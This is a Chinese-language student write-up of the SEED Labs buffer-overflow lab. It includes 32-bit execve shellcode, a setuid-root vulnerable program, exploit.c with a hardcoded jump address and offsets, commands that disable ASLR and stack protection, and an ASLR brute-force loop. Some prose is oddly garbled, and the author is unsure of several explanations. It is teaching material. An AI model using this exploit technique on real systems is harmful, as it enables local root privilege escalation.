共计 6049 个字符,预计需要花费 16 分钟才能阅读完成。
试验筹备
SeedLab 2016 版本 Buffer-Overflow Vulnerability Lab
把数据写在固定长度的缓冲区的里面, 然而程序在向缓冲区内写入数据时没有失去良好的爱护, 本人程序的栈构造就会被缓冲区外的数据毁坏, 这些数据中如果有 “ 不法分子 ” 就会进一步制作毁坏.
这个试验只须要一台虚拟机, 电脑难受一些.
试验领导 https://seedsecuritylabs.org/Labs_16.04/PDF/Buffer_Overflow.pdf
范志东 - 缓冲区溢出攻打 https://www.cnblogs.com/fanzhidongyzby/p/3250405.html
对于范同志的博客, 多嘴 BB 一下. 我大三的时候水过一门课, 如同叫什么编译系统啥来着, 完事老师就扔了一本《本人入手结构编译系统》让我自行处理, 就是他写的. 这哪能啊, 我最初抄了一早晨文档就提交了, 当初想来 … 两个毫无瓜葛的人可能再遇见那真是缘分 hhhhh.
须要留神的是, 文章中存在一些问题没解决, 或是有谬误的说法. 仅做参考.
Turning Off Countermeasures
敞开相干的防御机制
Address Space Randomization
零碎自带的地址空间随机化的机制.
sudo sysctl -w kernel.randomize_va_space=0
The StackGuard Protection Scheme
编译 C 文件的时候让 GCC 敞开栈爱护
gcc -fno-stack-protector example.c
Non-Executable Stack
不可执行栈. 这个应该和内存的 stack 与 heap 机制无关.
gcc -z execstack -o test test.c # 栈可执行
gcc -z noexecstack -o test test.c # 栈不可执行
参考
Configuring /bin/sh (Ubuntu 16.04 VM only)
/bin/sh
指向 /bin/dash
, 而 dash 在 Ubuntu 16.04 增加了防御机制. 所以将 /bin/sh
指向 /bin/zsh
sudo ln -sf /bin/zsh /bin/sh
这里的 SET-UID
是做什么的?
T1 Running Shellcode
体验一下 shellcode
代码 task1.c
#include <stdio.h>
#include <unistd.h>
int main() {char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
代码 call_shellcode.c 是 task1.c 的汇编版本.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh"/* pushl $0x68732f2f */"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/**
* 等价于:
* const char code[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
*/
int main(int argc, char **argv) {char buf[sizeof(code)];
// buf 的长度为 25B, 与 code 统一. 为什么不间接应用 code? 据说是为了发明溢出.
strcpy(buf, code);
// 这啥啊 ?
((void(*)()) buf)();}
程序中间有一段 shellcode. 他的性能等价于 task1.c 的性能.
正文中的 shellcode 会难看一些, 它的长度为 25B, 理论字符有 24 个, 最初一个是 \0
完结符号. \x
在 C 中为 16 进制字符的结尾, 例如 \x31
为一个字符. shellcode 外面具体干了什么不重要, 晓得整体在干啥就行, 不影响前面试验.
领导中给出的 call_shellcode.c 没有引入 string.h, task1.c 没有引入 unistd.h.
gcc -z execstack -o call_shellcode call_shellcode.c
# or
gcc -z execstack -o task1 task1.c
这一步执行结束后会起一个新的 shell, 一个孤孤单单的 $
.
The Vulnerable Program — stack.c
stack.c
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str) {char buffer[BUF_SIZE];
// buffer 只有 24B, 而 str 有 517B, 发明溢出.
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {char str[517];
FILE *badfile;
char dummy[BUF_SIZE];
memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
// 从 badfile 文件中读取 517B 内容, 并交给 bof 办法.
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
编译 stack.c 并批改文件用户与拜访权限.
gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
T2 Exploiting the Vulnerability
这个工作在 exploit.c 中批改 buff, 增加适合的内容, 并写入 badfile 中. 这之后运行 stack.c, 如果一切正常, 能够失去一个 root shell.
exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] = "...";
void main(int argc, char **argv) {char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
char jump[] = "\xbf\xff\xeb\xab";
int offset_jump = 36;
for (int i = 0; i < sizeof(jump) - 1; i++) {buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];
}
int offset_shell = 100;
for (int i = 0; i < sizeof(shellcode); i++) {buffer[offset_shell + i] = shellcode[i];
}
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
stack.c 中存在缓冲溢出的状况, 须要敞开栈爱护, 并容许栈执行.
代码解释与阐明
依照原理, 须要在 stack.c 中的 bof
函数的退出地址设置一个跳板, 跳板就是一个指向 shellcode 的地址. 而 shellcode 与跳板都在溢出的数据局部.
所以咱们须要设置跳板与相应的 shellcode, 并写入溢出的数据局部, 这也是 exploit.c 的次要工作.
13-21 行是次要批改内容.
char jump[] = "\xbf\xff\xeb\xab";
13 行中的 0xbfffebab
是 stack.c 中 str
的地址加上了 100B 的后果. 为什么是 100B? 这里我把 shellcode 放在了 buffer 100B 的地位. 为什么是加? 依照内存的栈构造, 数组被加载入栈后, 是从低位地址向高位地址贮存的.
这个 str
地址能够利用 gdb p &str 打印进去 (应该是要在 main
函数这里打断点的, p 只能打印以后作用域的变量, 不是很精确.). 为什么不是 bof
函数中的 buffer
地址? 这个我不好说.
- 对于 gdb 无奈打印 str 地址的状况
具体起因不分明, 据说是 gcc 编译过程做了一些优化, 删除了不必要的货色, 然而这些货色又会对 gdb 的调试造成影响. 将 stack 的编译指令替换成:gcc -DBUF_SIZE=24 -gstabs+ -o stack -z execstack -fno-stack-protector stack.c
即可
int offset_jump = 36;
14 行 offet_jump
, 这个就是程序解体的中央, 利用 gdb run 一个精心设计过的 badfile, 会失去一个 invalid address, 同时 gdb 会说程序一共解决了 36B 的 buffer 数据. 我感觉这个非法地址就是 bof
的退出地址, 然而没有证据.
for (int i = 0; i < sizeof(jump) - 1; i++)
15 行的 for
这里要把跳板地址最初的 \0
去掉, jump
数组大小为 5B, 地址数据有 4B, 所以 sizeof
前面减了 1.
buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];
16 行地址加载的时候是逆序, 这个也是 gdb 通知我的. 为什么是逆序? 我还没认真想过.
int offset_shell = 100;
18 行 offset_shell
这是 shellcode 绝对 str
的偏移量, 就是说我把 shellcode 放在了 buffer 数组的第 100 个 (0 计数) 单元之后, 也能够设置成其余的.
for (int i = 0; i < sizeof(shellcode); i++)
19 行的 sizeof
不要减一, 具体起因不明.
important 中的信息很重要. 优先编译 stack.c, 再编译 exploit.c.
操作流程
sudo sysctl -w kernel.randomize_va_space=0
sudo ln -sf /bin/zsh /bin/sh
gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
gcc -o exploit exploit.c
./exploit
./stack
后果
我依照上述操作流程试了几遍, 只能取得一个 $
的 shell.
![上传中 …]()
我的小伙伴示意, 应用 VM Ware 在同样的环境以及同样的操作下能够有现实的后果.
T3 Defeating dash’s Countermeasure
之前说 dash 这个 shell 有些个问题, 会主动摈弃文件的 privilege. 当初尝试解决 dash 这个问题. 先把 shell 链接设置为 dash.
sudo ln -sf /bin/dash /bin/sh
领导还是给出了一份代码 dash_shell_test.c:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
// setuid(0);
execve("/bin/sh", argv, NULL);
return 0;
}
dash_shell_test.c 应该将文件归属设置为 root.
-
先正文掉 8 行的
setuid
办法, 运行.gcc -o dash_shell_test dash_shell_test.c sudo chown root dash_shell_test ./dash_shell_test sudo chmod 4755 dash_shell_test
能够失去一个
$
的 shell. -
勾销正文 8 行的
setuid
办法, 运行.还是一个
$
的 shell.
和 T2 一样, 很显著这里的试验后果有问题.
最初还给了一段 shellcode, 替换原先的 shellcode 反复 T2. 更换之后, 会显示 segmentation fault, 然而 gdb run 还是失常的, 依然是一个 $
的 shell(bash).
T4 Defeating Address Randomization
想方法干掉地址随机化. 能够应用暴力破解的形式搞到须要的内存地址.
首先敞开地址随机化的机制.
用于暴力破解的脚本 brutal.sh
#!/bin/bash
SECONDS=0
value=0
while [1]
do
value=$(($value + 1))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
指令:
sudo /sbin/sysctl -w kernel.randomize_va_space=2
sh ./brutal.sh
这段脚本须要跑一段时间. 测试的次数不应该超过 2^19
. 乘着这个工夫看一下 T5 和 T6.
这是后果, 大略用了两个小时.
T5 Turn on the StackGuard Protection
关上栈守卫爱护. 进行 T5 前先敞开地址随机化, 以便察看栈守卫的作用.
在 stack-protector 在场的状况反复之前的试验, 不出意外是有谬误的.
sudo sysctl -w kernel.randomize_va_space=0
?
T6 Turn on the Non-executable Stack Protection
关上不可执行栈的爱护.
和 T5 一样, 须要先敞开地址随机化, 以便察看不可执行栈的爱护机制.
反复 T2. 我 jio 得吧, 是会报错的. 直觉上, 可执行栈就像指针一样, 提供了对随便批改栈内地址操作的机会.